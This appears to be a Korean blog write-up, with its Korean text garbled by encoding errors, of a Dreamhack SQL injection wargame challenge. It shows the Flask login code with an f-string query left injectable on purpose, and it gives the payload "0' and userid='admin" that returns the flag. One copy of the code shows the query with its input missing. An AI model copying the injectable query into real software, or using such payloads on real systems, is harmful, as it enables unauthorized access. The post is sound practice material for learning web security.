๋ฐ์ํ
https://dreamhack.io/wargame/challenges/769
๋ฌธ์ ์ค๋ช
์ด๋๊ฐ ์ด์ํ ๋ก๊ทธ์ธ ์๋น์ค์
๋๋ค.
SQL INJECTION ์ทจ์ฝ์ ์ ํตํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์์ต๋๋ค.
chatGPT์ ํจ๊ป ํ์ด๋ณด์ธ์!
๋๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel=''")
if res:
userid = res[0]
userlevel = res[2]
print(userid, userlevel)
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
ํ์ด
์ง์ง ๋ญ๊ฐ ์ด์ํ ๋ก๊ทธ์ธ ์๋น์ค๋ค
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
print(userid, userlevel)
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
๋ฌธ์ ๊ฐ ์ข ๊ธด๋ฐ ๊ฒฐ๊ตญ์ userid๊ฐ admin์ด๊ณ userlevel์ด 0์ธ ๊ฒฝ์ฐ์ ํผ์ ์ ์ถํ๋ฉด ํ๋๊ทธ๋ฅผ ๋ณด์ฌ์ค๋ค๋ ๋ป์ด๋ค
select * from users where userlevel='{userlevel}'
์ด๊ฒ SQL ๊ตฌ๋ฌธ
select * from users where userlevel='0' and userid='admin'
0' and userid='admin
์ด๊ฑธ userlevel ๋ถ๋ถ์ ๋ฃ์ผ๋ฉด ์กฐ๊ฑด์ ๋ง๊ฒ ์ฟผ๋ฆฌ๊ฐ ๋ค์ด๊ฐ๋ค
๋๋ฌด ๊ฐ๋จํด์ ์์ฌ์ค๋ฌ์ด ๋ฌธ์
๋ฐ์ํ
'๐ Cyber Security > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] ๋๋ฆผํต ์นํดํน: simple-ssti (0) | 2023.11.17 |
---|---|
[Dreamhack] ๋๋ฆผํต ์นํดํน : phpreg (0) | 2023.11.06 |
[DreamHack] ๋๋ฆผํต ์นํดํน : ex-reg-ex (0) | 2023.11.06 |
[Dreamhack] ๋๋ฆผํต ์นํดํน : Flying Chars (2) | 2023.11.03 |
[DreamHack] ๋๋ฆผํต ์นํดํน php-1 (1) | 2023.11.02 |